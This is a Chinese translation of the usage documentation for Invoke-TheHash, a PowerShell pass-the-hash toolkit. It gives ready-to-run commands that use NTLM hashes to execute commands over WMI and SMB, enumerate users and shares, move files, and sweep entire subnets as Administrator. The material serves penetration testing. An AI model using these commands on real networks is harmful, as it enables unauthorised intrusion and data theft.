Invoke-TheHash:PowerShell實現的雜湊傳遞攻擊套件
Invoke-TheHash專案是一個基於.Net TCPClient,通過把NTLM hash傳遞給NTLMv2身份驗證協議來進行身份驗證的攻擊套件,且執行時客戶端不需要本地管理員許可權。
安裝環境
Shell/">PowerShell 2.0及以上。
匯入
Import-Module ./Invoke-TheHash.psd1
或
. ./Invoke-WMIExec.ps1 . ./Invoke-SMBExec.ps1 . ./Invoke-SMBEnum.ps1 . ./Invoke-SMBClient.ps1 . ./Invoke-TheHash.ps1
Invoke-WMIExec
作用:WMI命令執行。
引數:
Target- 目標主機名或IP地址。
Username- 用於身份驗證的使用者名稱。
Domain- 用於身份驗證的域。本地帳戶或在使用者名稱後使用@domain時不需要此引數。
Hash- 用於身份驗證的NTLM密碼雜湊(格式: LM:NTLM 或 NTLM)。
Command-在目標上執行的命令。如果命令未指定,則將檢查使用者名稱和雜湊是否可以訪問目標上的WMI。
Sleep- 預設 = 10毫秒:設定開始 – 睡眠值(以毫秒為單位)。
示例:
Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose
截圖:
Invoke-SMBExec
作用:SMB(PsExec)命令執行,支援SMB1,SMB2.1,無論SMB有無簽名。
引數:
Target- 目標主機名或IP地址。
Username- 用於身份驗證的使用者名稱。
Domain- 用於身份驗證的域。本地帳戶或在使用者名稱後使用@domain時不需要此引數。
Hash- 用於身份驗證的NTLM密碼雜湊(格式: LM:NTLM 或 NTLM)。
Command- 在目標上執行的命令。如果命令未指定,則將檢查使用者名稱和雜湊是否可以訪問目標上的SCM。
CommandCOMSPEC- 預設=Enabled:將%COMSPEC% /C預先新增到命令。
Service- 預設 = 20字元(隨機):要在目標上建立和刪除的服務名稱。
Sleep- 預設 = 150毫秒:設定開始 – 睡眠值(以毫秒為單位)。
Version- 預設 = Auto: (Auto,1,2.1) 強制SMB版本。預設執行SMB版本協商,如果目標支援,則使用SMB2.1。
示例1:
Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose
示例2:
檢查目標上的SMB簽名要求。Invoke-SMBExec -Target 192.168.100.20
截圖:
Invoke-SMBEnum
作用:通過簽名或未簽名的SMB2.1執行使用者,組,NetSession和共享列舉任務。
引數:
Target - 目標主機名或IP地址。
Username - 用於身份驗證的使用者名稱。
Domain - 用於身份驗證的域。本地帳戶或在使用者名稱後使用@domain時不需要此引數。
Hash - 用於身份驗證的NTLM密碼雜湊(格式: LM:NTLM 或 NTLM)。
Action - (全部,組,NetSession,共享,使用者)預設 = share:列舉共享。
Group - 預設 = Administrators:列舉組。
Sleep - 預設 = 150毫秒:設定開始 – 睡眠值(以毫秒為單位)。
Version - 預設 = Auto: (Auto,1,2.1) 強制SMB版本。預設執行SMB版本協商,如果目標支援,則使用SMB2.1。
示例:
Invoke-SMBEnum -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -verbose
截圖:
Invoke-SMBClient
SMB client同時支援SMB2.1和SMB簽名。主要提供SMB檔案共享功能,以使用沒有遠端命令執行許可權的雜湊。此外,它還可用於staging payload並與Invoke-WMIExec和Invoke-SMBExec一起使用。請注意,Invoke-SMBClient是基於.NET TCPClient的,因此不使用Windows SMB client.。Invoke-SMBClient比Windows SMB client要慢很多。
引數:
Username- 用於身份驗證的使用者名稱。
Domain- 用於身份驗證的域。本地帳戶或在使用者名稱後使用@domain時不需要此引數。
Hash- 用於身份驗證的NTLM密碼雜湊(格式: LM:NTLM 或 NTLM)。
Action- 預設 = List: 執行(List/Recurse/Delete/Get/Put) 操作。
List:列出目錄內容。
Recurse:列出目錄和所有子目錄內容。
Delete:刪除檔案。
Get:下載檔案。
Put:上傳檔案並設定建立,訪問和上次寫入時間以匹配原始檔。
Source(源)
List 和 Recurse:目錄的UNC路徑。
Delete:檔案的UNC路徑。
Get:檔案的UNC路徑。
Put:要上傳的檔案。如果未指定完整路徑,則該檔案必須位於當前目錄下。使用”Modify”開關時,“Source”必須是位元組陣列。
Destination(目標)
List 和 Recurse:未使用。
Delete:未使用。
Get:如果使用,value將是下載檔案的新檔名。如果未指定完整路徑,則將在當前目錄下建立該檔案。
Put:上傳檔案的UNC路徑。必須指定檔名。
Modify
List and Recurse:輸出一個由目錄內容組成的物件。
Delete:未使用。
Get:輸出下載檔案的位元組陣列,而不是將檔案寫入磁碟。建議僅將其用於較小的檔案,並將輸出傳送到一個變數。
Put:將位元組陣列上傳到新的目標檔案。
NoProgress– 不顯示上傳和下載進度條。
Sleep- 預設 = 100毫秒:設定開始 – 睡眠值(以毫秒為單位)。
Version- 預設 = Auto: (Auto,1,2.1) 強制SMB版本。預設執行SMB版本協商,如果目標支援,則使用SMB2.1。
示例1:
列出root共享目錄內容。
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \\server\share -verbose
示例2:
從root開始遞迴列出共享內容。
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share
示例3:
遞迴列出share subdirectory目錄下的內容,並且只將內容輸出返回到一個變數。
$directory_contents = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share\subdirectory -Modify
示例4:
刪除share目錄中的一個檔案。
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\file.txt
示例5:
刪除share subdirectory目錄中的檔案。
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\subdirectory\subdirectory\file.txt
示例6:
從share目錄中下載一個檔案。
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\file.txt
示例7:
從share subdirectory目錄中下載檔案並設定新的檔名。
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\subdirectory\file.txt -Destination file.txt
示例8:
將檔案從share目錄下載到位元組陣列變數而不是磁碟。
$password_file = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\file.txt -Modify
示例9:
上傳一個檔案到share subdirectory目錄。
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source file.exe -Destination \\server\share\subdirectory\file.exe
示例10:
從位元組陣列變數上傳一個檔案到share目錄。
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source $file_byte_array -Destination \\server\share\file.txt -Modify
截圖:
Invoke-TheHash
作用:針對多個目標執行Invoke-TheHash。
引數:
Type- 設定所需的Invoke-TheHash功能(支援SMBClient,SMBEnum,SMBExec或WMIExec)。
Target- 目標的主機名,IP地址,CIDR表示法或IP範圍列表。
TargetExclude- 要從列表或目標中排除的主機名,IP地址,CIDR表示法或IP範圍的列表。
PortCheckDisable- (Switch)禁用WMI或SMB埠檢查。由於該功能尚未執行緒化,因此埠檢查主要通過在嘗試完全同步TCPClient連線之前,檢查開啟的WMI或SMB埠來提升速度。
PortCheckTimeout- 預設值 = 100:設定WMI或SMB埠檢查的無響應超時時間(以毫秒為單位)。
Username- 用於身份驗證的使用者名稱。
Domain- 用於身份驗證的域。本地帳戶或在使用者名稱後使用@domain時無需此引數。
Hash- 用於身份驗證的NTLM密碼雜湊(格式: LM:NTLM 或 NTLM)。
Command- 在目標上執行的命令。如果命令未指定,則該函式將僅檢查使用者名稱和雜湊是否可以訪問目標上的WMI或SCM。
CommandCOMSPEC- 預設 = Enabled:僅支援SMBExec。將%COMSPEC% /C預先新增到命令。
Service- 預設 = 20字元(隨機):僅支援SMBExec。要在目標上建立和刪除的服務名稱。
SMB1- (Switch) 強制SMB1。僅支援SMBExec。預設執行SMB版本協商,如果目標支援,則使用SMB2。
Sleep- 預設 = WMI 10 毫秒,SMB 150 毫秒:設定啟動 – 睡眠值(以毫秒為單位)。
示例11:
Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username Administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
截圖:
*參考來源: ofollow,noindex" target="_blank">github ,FB小編 secist 編譯,轉載請註明來自FreeBuf.COM